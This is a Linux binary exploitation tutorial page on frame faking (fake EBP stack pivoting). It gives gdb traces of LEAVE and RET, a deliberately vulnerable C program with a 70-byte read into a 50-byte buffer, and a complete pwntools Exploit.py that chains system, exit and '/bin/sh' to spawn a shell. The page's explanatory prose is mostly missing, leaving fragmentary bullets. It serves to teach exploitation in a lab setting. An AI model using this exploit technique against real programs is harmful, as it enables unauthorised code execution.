04.Frame faking(Fake ebp)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- Frame faking(Fake ebp)
  - LEAVE & RET instruction
    - Example
  - Proof of concept
    - Example code
    - Overwriting the RBP, EBP
    - Poc
  - Exploit
  - Related site
  - Comments

Frame faking(Fake ebp)

- **Frame faking (Stack Frame Pointer) .**
  - Return Address .

LEAVE & RET instruction

- **LEAVE .**
  - RBP(EBP) RSP(ESP) .
  - RSP(ESP) Stack RBP(EBP) .
- **RET .**
  - RSP(ESP) Stack RIP(EIP) .
  - JMP RIP(EIP) .

Instruction description

Instruction	64 Bit	32 Bit
LEAVE	MOV RSP, RBP POP RBP	MOV ESP, EBP POP EBP
RET	POP RIP JMP RIP	POP EIP JMP EIP

Example

- **LEAVE & RET instruction .**

test.c

```
//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(int argc, char* argv[]){
        vuln(1,2,3,4);
}
```

- **Break point .**
  - 0x804843d : main() Frame Pointer EBP .
  - 0x804840e : vuln() Frame Pointer EBP .
  - 0x804842e : leave

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048430 <+0>:        lea    ecx,[esp+0x4]
   0x08048434 <+4>:        and    esp,0xfffffff0
   0x08048437 <+7>:        push   DWORD PTR [ecx-0x4]
   0x0804843a <+10>:        push   ebp
   0x0804843b <+11>:        mov    ebp,esp
   0x0804843d <+13>:        push   ecx
   0x0804843e <+14>:        sub    esp,0x4
   0x08048441 <+17>:        push   0x4
   0x08048443 <+19>:        push   0x3
   0x08048445 <+21>:        push   0x2
   0x08048447 <+23>:        push   0x1
   0x08048449 <+25>:        call   0x804840b <vuln>
   0x0804844e <+30>:        add    esp,0x10
   0x08048451 <+33>:        nop
   0x08048452 <+34>:        mov    ecx,DWORD PTR [ebp-0x4]
   0x08048455 <+37>:        leave
   0x08048456 <+38>:        lea    esp,[ecx-0x4]
   0x08048459 <+41>:        ret
End of assembler dump.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804840b <+0>:        push   ebp
   0x0804840c <+1>:        mov    ebp,esp
   0x0804840e <+3>:        sub    esp,0x8
   0x08048411 <+6>:        sub    esp,0xc
   0x08048414 <+9>:        push   DWORD PTR [ebp+0x14]
   0x08048417 <+12>:        push   DWORD PTR [ebp+0x10]
   0x0804841a <+15>:        push   DWORD PTR [ebp+0xc]
   0x0804841d <+18>:        push   DWORD PTR [ebp+0x8]
   0x08048420 <+21>:        push   0x80484e0
   0x08048425 <+26>:        call   0x80482e0 <printf@plt>
   0x0804842a <+31>:        add    esp,0x20
   0x0804842d <+34>:        nop
   0x0804842e <+35>:        leave
   0x0804842f <+36>:        ret
End of assembler dump.
gdb-peda$ b *0x0804843d
Breakpoint 1 at 0x804843d
gdb-peda$ b *0x0804840e
Breakpoint 2 at 0x804840e
gdb-peda$ b *0x0804842e
Breakpoint 3 at 0x804842e
```

- **main() Frame Pointer .**
  - main() Frame Pointer 0xffffd588 .
    - 0xffffd588 .(0x00000000)
    - 0xffffd58c Return address(0xf7e1d637) .
      - Return address main() .

Frame Pointer of main() function

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/FrameFaking/test
Breakpoint 1, 0x0804843d in main ()
gdb-peda$ i r ebp
ebp            0xffffd588        0xffffd588
gdb-peda$ x/4wx 0xffffd588
0xffffd588:        0x00000000        0xf7e1d637        0xf7fb5000        0xf7fb5000
gdb-peda$ x/i 0xf7e1d637
   0xf7e1d637 <__libc_start_main+247>:        add    esp,0x10
gdb-peda$
```

- **vuln() Frame Pointer .**
  - vuln() Frame Pointer 0xffffd568 .
    - 0xffffd568 main Frame Pointer (0xffffd588) .
    - 0xffffd56c Return address(0x0804844e) .
      - Return address vuln() .

Frame Pointer of vuln() function

```
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804840e in vuln ()
gdb-peda$ i r ebp
ebp            0xffffd568        0xffffd568
gdb-peda$ x/8wx 0xffffd568
0xffffd568:        0xffffd588        0x0804844e        0x00000001        0x00000002
0xffffd578:        0x00000003        0x00000004        0xf7fb53dc        0xffffd5a0
gdb-peda$
```

- **leave .**
  - vuln() Frame Pointer ESP .
  - ESP Stack EBP .
  - , main() Frame Pointer EBP .

Changes in ESP register values

Instruction	ESP	EBP	Stack data	
leave	0xffffd560	0xffffd568	0x1	0x0
leave - MOV ESP, EBP	0xffffd568	0xffffd568	0xffffd588	0x0804844e
leave - POP EBP	0xffffd56c	0xffffd588	0x0804844e	0x1

leave instruction

```
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0804842e in vuln ()
gdb-peda$ i r esp
esp            0xffffd560        0xffffd560
gdb-peda$ i r ebp
ebp            0xffffd568        0xffffd568
gdb-peda$ x/2wx 0xffffd560
0xffffd560:        0x00000001        0x00000000
gdb-peda$ x/2wx 0xffffd568
0xffffd568:        0xffffd588        0x0804844e
gdb-peda$ ni

0x0804842f in vuln ()
gdb-peda$ i r ebp
ebp            0xffffd588        0xffffd588
gdb-peda$ i r esp
esp            0xffffd56c        0xffffd56c
gdb-peda$
```

- **ret** .
  - ESP Stack EIP .
  - EIP .

pop eip, jmp eip

Instruction	EIP	ESP	EBP	Stack data	
ret	0x0804842f	0xffffd56c	0xffffd588	0x0804844e	0x1
ret - POP EIP	0x0804844e	0xffffd570	0xffffd588	0x1	0x2
ret - JMP EIP	0x0804844e	0xffffd570	0xffffd588	0x1	0x2

ret Instruction

```
0x0804842f in vuln ()
gdb-peda$ i r eip
eip            0x804842f        0x804842f <vuln+36>
gdb-peda$ i r esp
esp            0xffffd56c        0xffffd56c
gdb-peda$ i r ebp
ebp            0xffffd588        0xffffd588
gdb-peda$ x/2wx 0xffffd56c
0xffffd56c:        0x0804844e        0x00000001
gdb-peda$ ni

0x0804844e in main ()
gdb-peda$ i r esp
esp            0xffffd570        0xffffd570
gdb-peda$ i r ebp
ebp            0xffffd588        0xffffd588
gdb-peda$ x/2wx 0xffffd570
0xffffd570:        0x00000001        0x00000002
gdb-peda$
```

Proof of concept

Example code

- **Frame faking .**
  - Stack address, Libc address .
    - Stack address: buf
    - Libc address: printf_addr
  - read() 70 .
    - Return address .

ff.c

```
//gcc -m32 -fno-stack-protector -o ff ff.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    printf("buf[50] address : %p\n",buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 70);
}

void main(){
    vuln();
}
```

Overwriting the RBP, EBP

- **Breakpoint Stack overflow .**
  - 0x08048571: vuln() leave
  - 70 Frame Pointer, Return Address .

Stack Overflow

```
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./ff
Reading symbols from ./ff...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804851b <+0>:        push   ebp
   0x0804851c <+1>:        mov    ebp,esp
   0x0804851e <+3>:        sub    esp,0x48
   0x08048521 <+6>:        sub    esp,0x8
   0x08048524 <+9>:        lea    eax,[ebp-0x3e]
   0x08048527 <+12>:        push   eax
   0x08048528 <+13>:        push   0x8048620
   0x0804852d <+18>:        call   0x80483e0 <printf@plt>
   0x08048532 <+23>:        add    esp,0x10
   0x08048535 <+26>:        sub    esp,0x8
   0x08048538 <+29>:        push   0x8048636
   0x0804853d <+34>:        push   0xffffffff
   0x0804853f <+36>:        call   0x8048400 <dlsym@plt>
   0x08048544 <+41>:        add    esp,0x10
   0x08048547 <+44>:        mov    DWORD PTR [ebp-0xc],eax
   0x0804854a <+47>:        sub    esp,0x8
   0x0804854d <+50>:        push   DWORD PTR [ebp-0xc]
   0x08048550 <+53>:        push   0x804863d
   0x08048555 <+58>:        call   0x80483e0 <printf@plt>
   0x0804855a <+63>:        add    esp,0x10
   0x0804855d <+66>:        sub    esp,0x4
   0x08048560 <+69>:        push   0x46
   0x08048562 <+71>:        lea    eax,[ebp-0x3e]
   0x08048565 <+74>:        push   eax
   0x08048566 <+75>:        push   0x0
   0x08048568 <+77>:        call   0x80483d0 <read@plt>
   0x0804856d <+82>:        add    esp,0x10
   0x08048570 <+85>:        nop
   0x08048571 <+86>:        leave
   0x08048572 <+87>:        ret
End of assembler dump.
gdb-peda$ b *0x08048571
Breakpoint 1 at 0x8048571
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/FrameFaking/ff
buf[50] address : 0xffffd57a
Printf() address : 0xf7e4d020
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRR
```

- **leave .**
  - vuln() Frame Pointer (0xffffd5b8) ESP .
  - ESP Stack (0xffffd5b8) EBP .
  - main() Frame Pointer EBP .
  - Overflow 0x51515050(QQPP) .

Processing operations of leave instructions

Instruction	ESP	EBP	Stack data	
leave	0xffffd570	0xffffd5b8	0x00000000	0xffffd614
leave - MOV ESP, EBP	0xffffd5b8	0xffffd5b8	0x51515050	0x52525151
leave - POP EBP	0xffffd5bc	0x51515050	0x52525151	0xf7fb43dc

Before and after the leave instructions

```
Breakpoint 1, 0x08048571 in vuln ()
gdb-peda$
gdb-peda$ i r esp
esp            0xffffd570        0xffffd570
gdb-peda$ i r ebp
ebp            0xffffd5b8        0xffffd5b8
gdb-peda$ x/2wx 0xffffd570
0xffffd570:        0x00000000        0xffffd614
gdb-peda$ x/2wx 0xffffd5b8
0xffffd5b8:        0x51515050        0x52525151
gdb-peda$ ni
0x08048572 in vuln ()
gdb-peda$ i r esp
esp            0xffffd5bc        0xffffd5bc
gdb-peda$ i r ebp
ebp            0x51515050        0x51515050
gdb-peda$ x/2wx 0xffffd5bc
0xffffd5bc:        0x52525151        0xf7fb43dc
gdb-peda$
```

- **Frame faking Return address leave .**

Save the leave instruction address in the return address

```
gdb-peda$ set *0xffffd5bc = 0x8048571
gdb-peda$ x/wx 0xffffd5bc
0xffffd5bc:        0x08048571
gdb-peda$
```

- **leave .**
  - Overflow Frame Pointer (0x51515050) ESP .
  - , leave ESP , .

Changes in ESP register values

Instruction	ESP	EBP	Stack data	
leave	0xffffd5c0	0x51515050	0xf7fb43dc	0xffffd5e0
leave - MOV ESP, EBP	0x51515050	0x51515050	-	-
leave - POP EBP	-	-	-	-

ESP register Overflow

```
gdb-peda$ ni

Breakpoint 1, 0x08048571 in vuln ()
gdb-peda$ i r esp
esp            0xffffd5c0        0xffffd5c0
gdb-peda$ i r ebp
ebp            0x51515050        0x51515050
gdb-peda$ x/2wx 0xffffd5c0
0xffffd5c0:        0xf7fb43dc        0xffffd5e0
gdb-peda$ x/2wx 0x51515050
0x51515050:        Cannot access memory at address 0x51515050
gdb-peda$ ni

Program received signal SIGSEGV, Segmentation fault.
```

Poc

- **Stack Frame faking .**
  - Frame Pointer : "RTL - 0x4"
  - Return Address : leave

Frame faking structure

buf[0]	0x90909090
buf[4]	The printf function address inlibc
buf[8]	The exit function address in libc
buf[12]	"/bin/sh" address
~	~
Frame Pointer	buf[0] Stack Address
Return Address	leave instruction

- **Frame faking structure .**
  - Return Address leave .
    - EBP Stack Overflow "RTL + 0x4" (0xffffd53a) .
    - ESP , ESP EBP (0x90909090).
      - POP ESP 0x4 .(0xffffd542)
  - leave ret .
    - ESP RTL .
    - system EIP .
    - , RTL .

Changes in ESP register values

Instruction	EIP	ESP	EBP	Stack data			
leave	0x8048571	0xffffd580	0xffffd53a	0xf7fb03dc	0xffffd5a0	0x00000000	0xf7e18637
leave - MOV ESP, EBP	0x8048571	0xffffd53a	0xffffd53a	0x90909090	system	exit	binsh
leave - POP EBP	0x8048571	0xffffd53e	0x90909090	system	exit	binsh	0x90909090
ret - POP EIP	system	0xffffd542	0x90909090	exit	binsh	0x90909090	0x90909090
ret - JMP EIP	system	0xffffd542	0x90909090	exit	binsh	0x90909090	0x90909090

Exploit

Exploit.py

```
from pwn import *

p = process('./ff')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)

leave = 0x08048571

libcBase = libc - 0x49020
sysAddr = libcBase + 0x3a940
exit = libcBase + 0x2e7b0
binsh = libcBase + 0x15902b

print "stackAddr : " + hex(stackAddr)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)

exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(stackAddr)
exploit += p32(leave)

p.send(exploit)
p.interactive()
```

python Exploit.py

```
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ python Exploit.py
[+] Starting local process './ff': pid 3294
stackAddr : 0xff7fd0ea
libc base : 0xf7d72000
system() : 0xf7dac940
exit() : 0xf7da07b0
binsh : 0xf7ecb02b
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Related site

- http://phrack.org/issues/58/4.html

Comments

Unknown macro: 'html'

Unknown macro: 'html'